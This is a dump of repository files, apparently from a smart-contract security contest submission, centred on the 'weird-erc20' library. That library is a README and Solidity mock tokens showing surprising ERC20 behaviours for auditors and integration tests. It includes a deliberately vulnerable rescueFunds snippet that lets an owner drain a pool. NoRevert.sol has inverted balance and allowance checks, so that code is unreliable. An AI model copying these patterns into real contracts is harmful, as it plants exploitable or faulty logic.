 # https://github.com/NixOS/nixpkgs/blob/0258808f5744ca980b9a1f24fe0b1e6f0fecee9c/lib/strings.nix#L257\n  stringToCharacters = s: map (p: builtins.substring p 1 s) (range 0 (builtins.stringLength s - 1));\n\n  # https://github.com/NixOS/nixpkgs/blob/0258808f5744ca980b9a1f24fe0b1e6f0fecee9c/lib/strings.nix#L269\n  stringAsChars = f: s: concatStrings (map f (stringToCharacters s));\n  concatMapStrings = f: list: concatStrings (map f list);\n  concatStrings = builtins.concatStringsSep \"\";\n\n  # https://github.com/NixOS/nixpkgs/blob/8a9f58a375c401b96da862d969f66429def1d118/lib/attrsets.nix#L331\n  optionalAttrs = cond: as: if cond then as else {};\n\n  # fetchTarball version that is compatible between all the versions of Nix\n  builtins_fetchTarball = { url, name ? null, sha256 }@attrs:\n    let\n      inherit (builtins) lessThan nixVersion fetchTarball;\n    in\n      if lessThan nixVersion \"1.12\" then\n        fetchTarball ({ inherit url; } // (optionalAttrs (!isNull name) { inherit name; }))\n      else\n        fetchTarball attrs;\n\n  # fetchurl version that is compatible between all the versions of Nix\n  builtins_fetchurl = { url, name ? null, sha256 }@attrs:\n    let\n      inherit (builtins) lessThan nixVersion fetchurl;\n    in\n      if lessThan nixVersion \"1.12\" then\n        fetchurl ({ inherit url; } // (optionalAttrs (!isNull name) { inherit name; }))\n      else\n        fetchurl attrs;\n\n  # Create the final \"sources\" from the config\n  mkSources = config:\n    mapAttrs (\n      name: spec:\n        if builtins.hasAttr \"outPath\" spec\n        then abort\n          \"The values in sources.json should not have an 'outPath' attribute\"\n        else\n          spec // { outPath = replace name (fetch config.pkgs name spec); }\n    ) config.sources;\n\n  # The \"config\" used by the fetchers\n  mkConfig =\n    { sourcesFile ? if builtins.pathExists ./sources.json then ./sources.json else null\n    , sources ? if isNull sourcesFile then {} else builtins.fromJSON (builtins.readFile sourcesFile)\n    , system ? builtins.currentSystem\n    , pkgs ? mkPkgs sources system\n    }: rec {\n      # The sources, i.e. the attribute set of spec name to spec\n      inherit sources;\n\n      # The \"pkgs\" (evaluated nixpkgs) to use for e.g. non-builtin fetchers\n      inherit pkgs;\n    };\n\nin\nmkSources (mkConfig {}) // { __functor = _: settings: mkSources (mkConfig settings); }\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/readme.md",
    "content": "# Weird ERC20 Tokens\n\nThis repository contains minimal example implementations in Solidity of ERC20 tokens with behaviour\nthat may be surprising or unexpected. All the tokens in this repo are based on real tokens, many of\nwhich have been used to exploit smart contract systems in the past. It is hoped that these example\nimplementations will be of use to developers and auditors.\n\nThe `ERC20` \"specification\" is so loosely defined that it amounts to little more than an interface\ndeclaration, and even the few semantic requirements that are imposed are routinely violated by token\ndevelopers in the wild.\n\nThis makes building smart contracts that interface directly with ERC20 tokens challenging to say the\nleast, and smart contract developers should in general default to the following patterns when\ninteraction with external code is required:\n\n1. A contract level allowlist of known good tokens.\n2. Direct interaction with tokens should be performed in dedicated wrapper contracts at the edge of\n   the system. This allows the core to assume a consistent and known good semantics for the\n   behaviour of external assets.\n\nIn some cases the above patterns are not practical (for example in the case of a permissionless AMM,\nkeeping an on chain allowlist would require the introduction of centralized control or a complex\ngovernance system), and in these cases developers must take great care to make these interactions in\na highly defensive manner. It should be noted that even if an onchain allowlist is not feasible, an\noffchain allowlist in the official UI can also protect unsophisticated users from tokens that\nviolate the contracts expectations, while still preserving contract level permissionlessness.\n\nFinally if you are building a token, you are strongly advised to treat the following as a list of\nbehaviours to avoid.\n\n*Additional Resources*\n\n- Trail of Bits [token integration checklist](https://github.com/crytic/building-secure-contracts/blob/master/development-guidelines/token_integration.md).\n- Consensys Diligence [token integration checklist](https://consensys.net/diligence/blog/2020/11/token-interaction-checklist/)\n\n# Tokens\n\n## Reentrant Calls\n\nSome tokens allow reentract calls on transfer (e.g. `ERC777` tokens).\n\nThis has been exploited in the wild on multiple occasions (e.g. [imBTC uniswap pool\ndrained](https://defirate.com/imbtc-uniswap-hack/), [lendf.me\ndrained](https://defirate.com/dforce-hack/))\n\n*example*: [Reentrant.sol](./src/Reentrant.sol)\n\n## Missing Return Values\n\nSome tokens do not return a bool (e.g. `USDT`, `BNB`, `OMG`) on ERC20 methods. see\n[here](https://gist.githubusercontent.com/lukas-berlin/f587086f139df93d22987049f3d8ebd2/raw/1f937dc8eb1d6018da59881cbc633e01c0286fb0/Tokens%20missing%20return%20values%20in%20transfer) for a comprehensive (if somewhat outdated) list.\n\nSome tokens (e.g. `BNB`) may return a `bool` for some methods, but fail to do so for others.  This\nresulted in stuck `BNB` tokens in Uniswap v1\n([details](https://mobile.twitter.com/UniswapProtocol/status/1072286773554876416)).\n\nSome particulary pathological tokens (e.g. Tether Gold) declare a bool return, but then return\n`false` even when the transfer was successful\n([code](https://etherscan.io/address/0x4922a015c4407f87432b179bb209e125432e4a2a#code)).\n\nA good safe transfer abstraction\n([example](https://github.com/Uniswap/uniswap-v2-core/blob/4dd59067c76dea4a0e8e4bfdda41877a6b16dedc/contracts/UniswapV2Pair.sol#L44))\ncan help somewhat, but note that the existance of Tether Gold makes it impossible to correctly handle\nreturn values for all tokens.\n\nTwo example tokens are provided:\n\n- `MissingReturns`: does not return a bool for any erc20 operation\n- `ReturnsFalse`: declares a bool return, but then returns false for every erc20 operation\n\n*example*: [MissingReturns.sol](./src/MissingReturns.sol)  \n*example*: [ReturnsFalse.sol](./src/ReturnsFalse.sol)\n\n## Fee on Transfer\n\nSome tokens take a transfer fee (e.g. `STA`, `PAXG`), some do not currently charge a fee but may do\nso in the future (e.g. `USDT`, `USDC`).\n\nThe `STA` transfer fee was used to drain $500k from several balancer pools ([more\ndetails](https://medium.com/@1inch.exchange/balancer-hack-2020-a8f7131c980e)).\n\n*example*: [TransferFee.sol](./src/TransferFee.sol)\n\n## Balance Modifications Outside of Transfers (rebasing / airdrops)\n\nSome tokens may make arbitrary balance modifications outside of transfers (e.g. Ampleforth style\nrebasing tokens, Compound style airdrops of governance tokens, mintable / burnable tokens).\n\nSome smart contract systems cache token balances (e.g. Balancer, Uniswap-V2), and arbitrary\nmodifications to underlying balances can mean that the contract is operating with outdated\ninformation.\n\nIn the case of Ampleforth, some Balancer and Uniswap pools are special cased to ensure that the\npool's cached balances are atomically updated as part of the rebase prodecure\n([details](https://www.ampltalk.org/app/forum/technology-development-17/topic/supported-dex-pools-61/)).\n\n*example*: TODO: implement a rebasing token\n\n## Upgradable Tokens\n\nSome tokens (e.g. `USDC`, `USDT`) are upgradable, allowing the token owners to make arbitrary\nmodifications to the logic of the token at any point in time.\n\nA change to the token semantics can break any smart contract that depends on the past behaviour.\n\nDevelopers integrating with upgradable tokens should consider introducing logic that will freeze\ninteractions with the token in question if an upgrade is detected. (e.g. the [`TUSD`\nadapter](https://github.com/makerdao/dss-deploy/blob/7394f6555daf5747686a1b29b2f46c6b2c64b061/src/join.sol#L321)\nused by MakerDAO).\n\n*example*: [Upgradable.sol](./src/Upgradable.sol)\n\n## Flash Mintable Tokens\n\nSome tokens (e.g. `DAI`) allow for so called \"flash minting\", which allows tokens to be minted for the duration\nof one transaction only, provided they are returned to the token contract by the end of the\ntransaction.\n\nThis is similar to a flash loan, but does not require the tokens that are to be lent to exist before\nthe start of the transaction. A token that can be flash minted could potentially have a total supply\nof max `uint256`.\n\nDocumentation for the MakerDAO flash mint module can be found\n[here](https://docs.makerdao.com/smart-contract-modules/flash-mint-module).\n\n## Tokens with Blocklists\n\nSome tokens (e.g. `USDC`, `USDT`) have a contract level admin controlled address blocklist. If an\naddress is blocked, then transfers to and from that address are forbidden.\n\nMalicious or compromised token owners can trap funds in a contract by adding the contract address to\nthe blocklist. This could potentially be the result of regulatory action against the contract\nitself, against a single user of the contract (e.g. a Uniswap LP), or could also be a part of an\nextortion attempt against users of the blocked contract.\n\n*example*: [BlockList.sol](./src/BlockList.sol)\n\n## Pausable Tokens\n\nSome tokens can be paused by an admin (e.g. `BNB`, `ZIL`).\n\nSimilary to the blocklist issue above, an admin controlled pause feature opens users\nof the token to risk from a malicious or compromised token owner.\n\n*example*: [Pausable.sol](./src/Pausable.sol)\n\n## Approval Race Protections\n\nSome tokens (e.g. `USDT`, `KNC`) do not allow approving an amount `M > 0` when an existing amount\n`N > 0` is already approved. This is to protect from an ERC20 attack vector described\n[here](https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit#heading=h.b32yfk54vyg9).\n\n[This PR](https://github.com/Uniswap/uniswap-v2-periphery/pull/26#issuecomment-647543138) shows some\nin the wild problems caused by this issue.\n\n*example*: [Approval.sol](./src/Approval.sol)\n\n## Revert on Approval To Zero Address\n\nSome tokens (e.g. OpenZeppelin) will revert if trying to approve the zero address to spend tokens\n(i.e. a call to `approve(address(0), amt)`).\n\nIntegrators may need to add special cases to handle this logic if working with such a token.\n\n*example*: [ApprovalToZero.sol](./src/ApprovalToZero.sol)\n\n## Revert on Zero Value Transfers\n\nSome tokens (e.g. `LEND`) revert when transfering a zero value amount.\n\n*example*: [RevertZero.sol](./src/RevertZero.sol)\n\n## Multiple Token Addresses\n\nSome proxied tokens have multiple addresses. For example `TUSD` has two addresses:\n`0x8dd5fbCe2F6a956C3022bA3663759011Dd51e73E` and `0x0000000000085d4780B73119b644AE5ecd22b376`\n(calling transfer on either affects your balance on both).\n\nAs an example consider the following snippet. `rescueFunds` is intended to allow the contract owner\nto return non pool tokens that were accidentaly sent to the contract. However, it assumes a single\naddress per token and so would allow the owner to steal all funds in the pool.\n\n```solidity\nmapping isPoolToken(address => bool);\nconstructor(address tokenA, address tokenB) public {\n  isPoolToken[tokenA] = true;\n  isPoolToken[tokenB] = true;\n}\nfunction rescueFunds(address token, uint amount) external nonReentrant onlyOwner {\n    require(!isPoolToken[token], \"access denied\");\n    token.transfer(msg.sender, amount);\n}\n```\n\n*example*: [Proxied.sol](./src/Proxied.sol)\n\n## Low Decimals\n\nSome tokens have low decimals (e.g. `USDC` has 6). Even more extreme, some tokens like [Gemini USD](https://etherscan.io/token/0x056Fd409E1d7A124BD7017459dFEa2F387b6d5Cd?a=0x5f65f7b609678448494De4C87521CdF6cEf1e932) only have 2 decimals.\n\nThis may result in larger than expected precision loss.\n\n*example*: [LowDecimals.sol](./src/LowDecimals.sol)\n\n## High Decimals\n\nSome tokens have more than 18 decimals (e.g. `YAM-V2` has 24).\n\nThis may trigger unexpected reverts due to overflow, posing a liveness risk to the contract.\n\n*example*: [HighDecimals.sol](./src/HighDecimals.sol)\n\n## `transferFrom` with `src == msg.sender`\n\nSome token implementations (e.g. `DSToken`) will not attempt to decrease the caller's allowance if\nthe sender is the same as the caller. This gives `transferFrom` the same semantics as `transfer` in\nthis case. Other implementations (e.g. OpenZeppelin, Uniswap-v2) will attempt to decrease the\ncaller's allowance from the sender in `transferFrom` even if the caller and the sender are the same\naddress, giving `transfer(dst, amt)` and `transferFrom(address(this), dst, amt)` a different\nsemantics in this case.\n\n*examples*:\n\nExamples of both semantics are provided:\n\n- [ERC20.sol](./src/ERC20.sol): does not attempt to decrease allowance\n- [TransferFromSelf.sol](./src/TransferFromSelf.sol): always attempts to decrease the allowance\n\n## Non `string` metadata\n\nSome tokens (e.g.\n[`MKR`](https://etherscan.io/address/0x9f8f72aa9304c8b593d555f12ef6589cc3a579a2#code)) have metadata\nfields (`name` / `symbol`) encoded as `bytes32` instead of the `string` prescribed by the ERC20\nspecification.\n\nThis may cause issues when trying to consume metadata from these tokens.\n\n*example*: [Bytes32Metadata.sol](./src/Bytes32Metadata.sol)\n\n## Revert on Transfer to the Zero Address\n\nSome tokens (e.g. openzeppelin) revert when attempting to transfer to `address(0)`.\n\nThis may break systems that expect to be able to burn tokens by transfering them to `address(0)`.\n\n*example*: [RevertToZero.sol](./src/RevertToZero.sol)\n\n## No Revert on Failure\n\nSome tokens do not revert on failure, but instead return `false` (e.g.\n[ZRX](https://etherscan.io/address/0xe41d2489571d322189246dafa5ebde1f4699f498#code)).\n\nWhile this is technicaly compliant with the ERC20 standard, it goes against common solidity coding\npractices and may be overlooked by developers who forget to wrap their calls to `transfer` in a\n`require`.\n\n*example*: [NoRevert.sol](./src/NoRevert.sol)\n\n## Revert on Large Approvals & Transfers\n\nSome tokens (e.g. `UNI`, `COMP`) revert if the value passed to `approve` or `transfer` is larger than `uint96`.\n\nBoth of the above tokens have special case logic in `approve` that sets `allowance` to `type(uint96).max`\nif the approval amount is `uint256(-1)`, which may cause issues with systems that expect the value\npassed to `approve` to be reflected in the `allowances` mapping.\n\n*example*: [Uint96.sol](./src/Uint96.sol)\n\n## Code Injection Via Token Name\n\nSome malicious tokens have been observed to include malicious javascript in their `name` attribute,\nallowing attackers to extract private keys from users who choose to interact with these tokens via\nvulnerable frontends.\n\nThis has been used to exploit etherdelta users in the wild ([reference](https://hackernoon.com/how-one-hacker-stole-thousands-of-dollars-worth-of-cryptocurrency-with-a-classic-code-injection-a3aba5d2bff0)).\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/shell.nix",
    "content": "let\n  sources = import ./nix/sources.nix;\n  pkgs = import sources.dapptools {};\nin\n  pkgs.mkShell {\n    buildInputs = with pkgs; [\n      dapp\n      niv\n      solc-static-versions.solc_0_6_12\n      solc-static-versions.solc_0_7_6\n      solc-static-versions.solc_0_8_6\n    ];\n  }\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/Approval.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract ApprovalRaceToken is ERC20 {\n    // --- Init ---\n    constructor(uint _totalSupply) ERC20(_totalSupply) public {}\n\n    // --- Token ---\n    function approve(address usr, uint wad) override public returns (bool) {\n        require(allowance[msg.sender][usr] == 0, \"unsafe-approve\");\n        return super.approve(usr, wad);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/ApprovalToZero.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract ApprovalToZeroToken is ERC20 {\n    // --- Init ---\n    constructor(uint _totalSupply) ERC20(_totalSupply) public {}\n\n    // --- Token ---\n    function approve(address usr, uint wad) override public returns (bool) {\n        require(usr != address(0), \"no approval for the zero address\");\n        return super.approve(usr, wad);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/BlockList.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract BlockableToken is ERC20 {\n    // --- Access Control ---\n    address owner;\n    modifier auth() { require(msg.sender == owner, \"unauthorised\"); _; }\n\n    // --- BlockList ---\n    mapping(address => bool) blocked;\n    function block(address usr) auth public { blocked[usr] = true; }\n    function allow(address usr) auth public { blocked[usr] = false; }\n\n    // --- Init ---\n    constructor(uint _totalSupply) ERC20(_totalSupply) public {\n        owner = msg.sender;\n    }\n\n    // --- Token ---\n    function transferFrom(address src, address dst, uint wad) override public returns (bool) {\n        require(!blocked[src], \"blocked\");\n        require(!blocked[dst], \"blocked\");\n        return super.transferFrom(src, dst, wad);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/Bytes32Metadata.sol",
    "content": "// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\ncontract Math {\n    // --- Math ---\n    function add(uint x, uint y) internal pure returns (uint z) {\n        require((z = x + y) >= x);\n    }\n    function sub(uint x, uint y) internal pure returns (uint z) {\n        require((z = x - y) <= x);\n    }\n}\n\ncontract ERC20 is Math {\n    // --- ERC20 Data ---\n    bytes32 public constant name = \"Token\";\n    bytes32 public constant symbol = \"TKN\";\n    uint8   public constant decimals = 18;\n    uint256 public totalSupply;\n\n    mapping (address => uint)                      public balanceOf;\n    mapping (address => mapping (address => uint)) public allowance;\n\n    event Approval(address indexed src, address indexed guy, uint wad);\n    event Transfer(address indexed src, address indexed dst, uint wad);\n\n    // --- Init ---\n    constructor(uint _totalSupply) public {\n        totalSupply = _totalSupply;\n        balanceOf[msg.sender] = _totalSupply;\n        emit Transfer(address(0), msg.sender, _totalSupply);\n    }\n\n    // --- Token ---\n    function transfer(address dst, uint wad) virtual public returns (bool) {\n        return transferFrom(msg.sender, dst, wad);\n    }\n    function transferFrom(address src, address dst, uint wad) virtual public returns (bool) {\n        require(balanceOf[src] >= wad, \"insufficient-balance\");\n        if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {\n            require(allowance[src][msg.sender] >= wad, \"insufficient-allowance\");\n            allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);\n        }\n        balanceOf[src] = sub(balanceOf[src], wad);\n        balanceOf[dst] = add(balanceOf[dst], wad);\n        emit Transfer(src, dst, wad);\n        return true;\n    }\n    function approve(address usr, uint wad) virtual public returns (bool) {\n        allowance[msg.sender][usr] = wad;\n        emit Approval(msg.sender, usr, wad);\n        return true;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/ERC20.sol",
    "content": "// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\ncontract Math {\n    // --- Math ---\n    function add(uint x, uint y) internal pure returns (uint z) {\n        require((z = x + y) >= x);\n    }\n    function sub(uint x, uint y) internal pure returns (uint z) {\n        require((z = x - y) <= x);\n    }\n}\n\ncontract ERC20 is Math {\n    // --- ERC20 Data ---\n    string  public constant name = \"Token\";\n    string  public constant symbol = \"TKN\";\n    uint8   public decimals = 18;\n    uint256 public totalSupply;\n\n    mapping (address => uint)                      public balanceOf;\n    mapping (address => mapping (address => uint)) public allowance;\n\n    event Approval(address indexed src, address indexed guy, uint wad);\n    event Transfer(address indexed src, address indexed dst, uint wad);\n\n    // --- Init ---\n    constructor(uint _totalSupply) public {\n        totalSupply = _totalSupply;\n        balanceOf[msg.sender] = _totalSupply;\n        emit Transfer(address(0), msg.sender, _totalSupply);\n    }\n\n    // --- Token ---\n    function transfer(address dst, uint wad) virtual public returns (bool) {\n        return transferFrom(msg.sender, dst, wad);\n    }\n    function transferFrom(address src, address dst, uint wad) virtual public returns (bool) {\n        require(balanceOf[src] >= wad, \"insufficient-balance\");\n        if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {\n            require(allowance[src][msg.sender] >= wad, \"insufficient-allowance\");\n            allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);\n        }\n        balanceOf[src] = sub(balanceOf[src], wad);\n        balanceOf[dst] = add(balanceOf[dst], wad);\n        emit Transfer(src, dst, wad);\n        return true;\n    }\n    function approve(address usr, uint wad) virtual public returns (bool) {\n        allowance[msg.sender][usr] = wad;\n        emit Approval(msg.sender, usr, wad);\n        return true;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/HighDecimals.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract HighDecimalToken is ERC20 {\n    constructor(uint _totalSupply) ERC20(_totalSupply) public {\n        decimals = 50;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/LowDecimals.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract LowDecimalToken is ERC20 {\n    constructor(uint _totalSupply) ERC20(_totalSupply) public {\n        decimals = 2;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/MissingReturns.sol",
    "content": "// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\ncontract MissingReturnToken {\n    // --- ERC20 Data ---\n    string  public constant name = \"Token\";\n    string  public constant symbol = \"TKN\";\n    uint8   public constant decimals = 18;\n    uint256 public totalSupply;\n\n    mapping (address => uint)                      public balanceOf;\n    mapping (address => mapping (address => uint)) public allowance;\n\n    event Approval(address indexed src, address indexed guy, uint wad);\n    event Transfer(address indexed src, address indexed dst, uint wad);\n\n    // --- Math ---\n    function add(uint x, uint y) internal pure returns (uint z) {\n        require((z = x + y) >= x);\n    }\n    function sub(uint x, uint y) internal pure returns (uint z) {\n        require((z = x - y) <= x);\n    }\n\n    // --- Init ---\n    constructor(uint _totalSupply) public {\n        totalSupply = _totalSupply;\n        balanceOf[msg.sender] = _totalSupply;\n        emit Transfer(address(0), msg.sender, _totalSupply);\n    }\n\n    // --- Token ---\n    function transfer(address dst, uint wad) external {\n        transferFrom(msg.sender, dst, wad);\n    }\n    function transferFrom(address src, address dst, uint wad) public {\n        require(balanceOf[src] >= wad, \"insufficient-balance\");\n        if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {\n            require(allowance[src][msg.sender] >= wad, \"insufficient-allowance\");\n            allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);\n        }\n        balanceOf[src] = sub(balanceOf[src], wad);\n        balanceOf[dst] = add(balanceOf[dst], wad);\n        emit Transfer(src, dst, wad);\n    }\n    function approve(address usr, uint wad) external {\n        allowance[msg.sender][usr] = wad;\n        emit Approval(msg.sender, usr, wad);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/NoRevert.sol",
    "content": "// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\ncontract NoRevertToken {\n    // --- ERC20 Data ---\n    string  public constant name = \"Token\";\n    string  public constant symbol = \"TKN\";\n    uint8   public decimals = 18;\n    uint256 public totalSupply;\n\n    mapping (address => uint)                      public balanceOf;\n    mapping (address => mapping (address => uint)) public allowance;\n\n    event Approval(address indexed src, address indexed guy, uint wad);\n    event Transfer(address indexed src, address indexed dst, uint wad);\n\n    // --- Init ---\n    constructor(uint _totalSupply) public {\n        totalSupply = _totalSupply;\n        balanceOf[msg.sender] = _totalSupply;\n        emit Transfer(address(0), msg.sender, _totalSupply);\n    }\n\n    // --- Token ---\n    function transfer(address dst, uint wad) external returns (bool) {\n        return transferFrom(msg.sender, dst, wad);\n    }\n    function transferFrom(address src, address dst, uint wad) virtual public returns (bool) {\n        if (balanceOf[src] >= wad) return false;                       // insufficient src bal\n        if (balanceOf[dst] >= (type(uint256).max - wad)) return false; // dst bal too high\n\n        if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {\n            if (allowance[src][msg.sender] >= wad) return false;       // insufficient allowance\n            allowance[src][msg.sender] = allowance[src][msg.sender] - wad;\n        }\n\n        balanceOf[src] = balanceOf[src] - wad;\n        balanceOf[dst] = balanceOf[dst] + wad;\n\n        emit Transfer(src, dst, wad);\n        return true;\n    }\n    function approve(address usr, uint wad) virtual external returns (bool) {\n        allowance[msg.sender][usr] = wad;\n        emit Approval(msg.sender, usr, wad);\n        return true;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/Pausable.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract PausableToken is ERC20 {\n    // --- Access Control ---\n    address owner;\n    modifier auth() { require(msg.sender == owner, \"unauthorised\"); _; }\n\n    // --- Pause ---\n    bool live = true;\n    function stop() auth external { live = false; }\n    function start() auth external { live = true; }\n\n    // --- Init ---\n    constructor(uint _totalSupply) ERC20(_totalSupply) public {\n        owner = msg.sender;\n    }\n\n    // --- Token ---\n    function approve(address usr, uint wad) override public returns (bool) {\n        require(live, \"paused\");\n        return super.approve(usr, wad);\n    }\n    function transfer(address dst, uint wad) override public returns (bool) {\n        require(live, \"paused\");\n        return super.transfer(dst, wad);\n    }\n    function transferFrom(address src, address dst, uint wad) override public returns (bool) {\n        require(live, \"paused\");\n        return super.transferFrom(src, dst, wad);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/Proxied.sol",
    "content": "// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\n/*\n    Provides two contracts:\n\n    1. ProxiedToken: The underlying token, state modifications must be made through a proxy\n    2. TokenProxy: Proxy contract, appends the original msg.sender to any calldata provided by the user\n\n    The ProxiedToken can have many trusted frontends (TokenProxy's).\n    The frontends should append the address of their caller to calldata when calling into the backend.\n    Admin users of the ProxiedToken can add new delegators.\n*/\n\ncontract ProxiedToken {\n    // --- ERC20 Data ---\n    string  public constant name = \"Token\";\n    string  public constant symbol = \"TKN\";\n    uint8   public constant decimals = 18;\n    uint256 public totalSupply;\n\n    mapping (address => uint)                      public balanceOf;\n    mapping (address => mapping (address => uint)) public allowance;\n\n    event Approval(address indexed src, address indexed guy, uint wad);\n    event Transfer(address indexed src, address indexed dst, uint wad);\n\n    // --- Math ---\n    function add(uint x, uint y) internal pure returns (uint z) {\n        require((z = x + y) >= x);\n    }\n    function sub(uint x, uint y) internal pure returns (uint z) {\n        require((z = x - y) <= x);\n    }\n\n    // --- Init ---\n    constructor(uint _totalSupply) public {\n        admin[msg.sender] = true;\n        totalSupply = _totalSupply;\n        balanceOf[msg.sender] = _totalSupply;\n        emit Transfer(address(0), msg.sender, _totalSupply);\n    }\n\n    // --- Access Control ---\n    mapping(address => bool) public admin;\n    function rely(address usr) external auth { admin[usr] = true; }\n    function deny(address usr) external auth { admin[usr] = false; }\n    modifier auth() { require(admin[msg.sender], \"non-admin-call\"); _; }\n\n    mapping(address => bool) public delegators;\n    modifier delegated() { require(delegators[msg.sender], \"non-delegator-call\"); _; }\n    function setDelegator(address delegator, bool status) external auth {\n        delegators[delegator] = status;\n    }\n\n    // --- Token ---\n    function transfer(address dst, uint wad) delegated external returns (bool) {\n        return _transferFrom(_getCaller(), _getCaller(), dst, wad);\n    }\n    function transferFrom(address src, address dst, uint wad) delegated external returns (bool) {\n        return _transferFrom(_getCaller(), src, dst, wad);\n    }\n    function approve(address usr, uint wad) delegated external returns (bool) {\n        return _approve(_getCaller(), usr, wad);\n    }\n\n    // --- Internals ---\n    function _transferFrom(\n        address caller, address src, address dst, uint wad\n    ) internal returns (bool) {\n        require(balanceOf[src] >= wad, \"insufficient-balance\");\n        if (src != caller && allowance[src][caller] != type(uint).max) {\n            require(allowance[src][caller] >= wad, \"insufficient-allowance\");\n            allowance[src][caller] = sub(allowance[src][caller], wad);\n        }\n        balanceOf[src] = sub(balanceOf[src], wad);\n        balanceOf[dst] = add(balanceOf[dst], wad);\n        emit Transfer(src, dst, wad);\n        return true;\n    }\n    function _approve(address caller, address usr, uint wad) internal returns (bool) {\n        allowance[caller][usr] = wad;\n        emit Approval(caller, usr, wad);\n        return true;\n    }\n    // grabs the first word after the calldata and masks it with 20bytes of 1's\n    // to turn it into an address\n    function _getCaller() internal pure returns (address result) {\n        bytes memory array = msg.data;\n        uint256 index = msg.data.length;\n        assembly {\n            result := and(mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff)\n        }\n        return result;\n    }\n}\n\ncontract TokenProxy {\n    address payable immutable public impl;\n    constructor(address _impl) public {\n        impl = payable(_impl);\n    }\n\n    receive() external payable { revert(\"don't send me ETH!\"); }\n\n    fallback() external payable {\n        address _impl = impl; // pull impl onto the stack\n        assembly {\n            // get free data pointer\n            let ptr := mload(0x40)\n\n            // write calldata to ptr\n            calldatacopy(ptr, 0, calldatasize())\n            // store msg.sender after the calldata\n            mstore(add(ptr, calldatasize()), caller())\n\n            // call impl with the contents of ptr as caldata\n            let result := call(gas(), _impl, callvalue(), ptr, add(calldatasize(), 32), 0, 0)\n\n            // copy the returndata to ptr\n            let size := returndatasize()\n            returndatacopy(ptr, 0, size)\n\n            switch result\n            // revert if the call failed\n            case 0 { revert(ptr, size) }\n            // return ptr otherwise\n            default { return(ptr, size) }\n        }\n    }\n\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/Reentrant.sol",
